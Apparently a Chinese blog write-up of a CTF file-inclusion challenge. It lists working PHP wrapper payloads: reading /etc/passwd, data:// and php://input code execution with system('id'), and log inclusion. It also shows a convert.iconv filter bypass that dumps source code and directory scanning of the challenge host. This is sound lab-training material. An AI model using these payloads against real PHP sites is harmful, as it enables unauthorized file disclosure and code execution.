江苏工匠杯_file _include_wp

关键词 江苏工匠杯 文件包含漏洞 php封装器 攻防世界 ctf 解题wp convert.iconv.*

目录

前言

原题地址

文件包含

几次失败的测试

重新整理线索

细微处了解php封装器

总结

参考链接


前言

关于上一题的unseping 回头看看那个匹配项 看到& : |这几个字符我突然就有了灵感绕过“/”

/(||&|;| |\/|cat|flag|tac|php|ls)/

假如我们执行两条命令

cd flag_1s_here;cat flag_831b69012c67b35f.php

cd flag_1s_here&&cat flag_831b69012c67b35f.php

这样就可以绕过“/”了 不过很遗憾;和& 这俩符号都被匹配到了

话不多说 开始这次ctf之旅

原题地址

攻防世界https://adworld.xctf.org.cn/challenges/list

 

点击获取在线场景

居然直接告诉我 文件包含 那我就不客气了

文件包含

直接?filename=/etc/passwd

 开来是执行成功 接下来是找flag文件了 有没有注意到主页 还包含了check.php文件

这是干嘛的 先不管了 先包含以一个一句话 来获取shell试试

看看有没有远程文件包含

?filename=http://baidu.com/

没有反应 看来这个利用不了

我们知道include包含一个php文件 返回的是执行之后的 源码是看不到的 那么怎样才能看到源码呢。这就要请出php的封装了 让任意文件包含漏洞变成任意文件下载漏洞

简单的测试一下

几次失败的测试

php://filter/read=convert.base64-encode/resource=check.php

不行!!!()

之后我又尝试好几种方法

data流执行系统命令id (allow_url_indlude on)

data://text/plain;base64,PD9waHAgZWNobyBzaGVsbF9leGVjKGlkKTs/Pg==

do not hack

封装器文件写入phpinfo()

php://filter/write=convert.base64-decode/resource=test.php&txt=PD9waHAgcGhwaW5mbygpOyA/Pgo=

do not hack

POST方法 (allow_url_fopen on allow_url_include on)

?page=php://input <? system('id');?>

do not hack

用环境变量

file:///proc/self/environ

无 do not hack 但也不无返回结果

利用日志文件

file:///var/log/apache2/access.log file:///var/log/apache2/error.log

无 do not hack 但也不无返回结果

...

最后没有什么办法了 那我就扫描你目录了 看看有什么文件上传点

dirsearch -u http://61.147.171.105:60128/ -f -e html,txt,php,zip

再扫扫其他的文件 注意index.php/login 是误报

真是让人火大 我能使的招都使出来了 而且尝试文件包含一些系统默认的配置文件啊 shell的执行命令历史啊 都没有好的结果

...

...

...

重新整理线索

重新梳理下心情 整合一下思路 为什么有的payload出现了do no hack ?包含的check.php是不是在检查什么?

最终我把注意力集中在

php://filter/read=convert.base64-encode/resource=check.php

再利用的过程中我发现即使包含一个没有的文件,格式写错 还会报do not hack

我怀疑check.php里也接受一个名为filename的参数 而且对参数进行了过滤

我在php封装器 单词与单词 敲打0 在敲到

php://filter/re0ad=con0vert.ba0se64-enc0ode/resource=check.php

 停止了报错

看来check.php真的将一些关键词过滤了

尝试?filename=xxx 把这些过滤词找出来

read base encode 这些都被过滤了 只要出现这些关键字 就会返回do not hack

是不是说只要绕过了 或者 用别的去代替是不是就可以正确执行了

绕过我是真没找出来 只知道read是非必选项 看来是要细微地了解下php封装器了

细微处了解php封装器

php://filter/read=convert.base64-encode/resource=check.php

php://filter/read php://filter/write

read和write是可选性 一个为读 一个为写

resource= 指定过滤的数据流

php://filter/read=“这段的位置为过滤器”/resource=check.php

共有字符串过滤器 转换过滤器 压缩过滤器 加密过滤器

因为我们是要读取文件源码 需要用到转换过滤器共三种

convert.base64-encode & convert.base64-decode

这有 base encode 过滤了

convert.quoted-printable-encode & convert.quoted-printable-decode

这有encode 也不行事实在我测试的过程中 发现printable 也被过滤了

convert.iconv.* //格式如下

convert.iconv.<input-encoding>.<output-encoding>

or

convert.iconv.<input-encoding>/<output-encoding>

尝试php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=check.php

居然又do not hack 可恶啊 经测试貌似过滤掉了BE

好在这个过滤器有支持很多编码 这家不行换一家

php://filter/convert.iconv.UTF-7.UCS-2/resource=check.php

终于得到了check.php的源码

<?php
    if($_GET["filename"]){
        $preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);'; 
        if (eval($preg_match_username)) { 
            die("do not hack!");
        } 
    }
?>

真相揭开了 do not hack!产生的原因

那么flag现在哪里呢?

php://filter/convert.iconv.UTF-7.UCS-2/resource=flag.php

这过分了 为什么不在check.php文件里 添加flag在哪里 我用的dirsearch中默认字典中也没有flag.php

这样只能换字典 继续跑出来

总结

这到题还是很考验你的知识储备的 要全 还有分析能力 要知道所以然 之后才能灵活运用

不过我对ctf的题属实不熟悉 才考虑了那么多的利用方式 忽略了check.php存在的意义

对flag放置点的套路 不是很熟悉。

通过这道题我也知道了原来封装器不只base64这一种方法 还有其他的转换器 学到了。

参考链接

php://filter的各种过滤器_天问_Herbert555的博客-CSDN博客_php://filter rot13

  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
代码中的isset($_GET['file'])是PHP中的一个函数,用于判断是否存在名为'file'的GET参数。如果存在该参数,代码会将该参数的值赋给变量$file,并使用include函数包含该文件。这段代码看起来存在安全漏洞,因为用户可以通过GET参数传递任意文件并执行代码。在传递到include函数之前,代码使用str_replace函数将$file中的'php'替换为'???',可能是为了防止直接包含PHP文件。因此,如果传递的文件名中包含'php'时,会被替换为'???',导致无法正确包含文件。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [攻防世界web-file_include(江苏工匠杯/泰山杯原题)](https://blog.csdn.net/yuanxu8877/article/details/127607264)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *2* [CTF竞技平台_file_include-guolvphp](https://blog.csdn.net/qq_44959263/article/details/121676271)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] - *3* [文件上传处理PHP类.zip](https://download.csdn.net/download/weixin_39841365/11327530)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 33.333333333333336%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值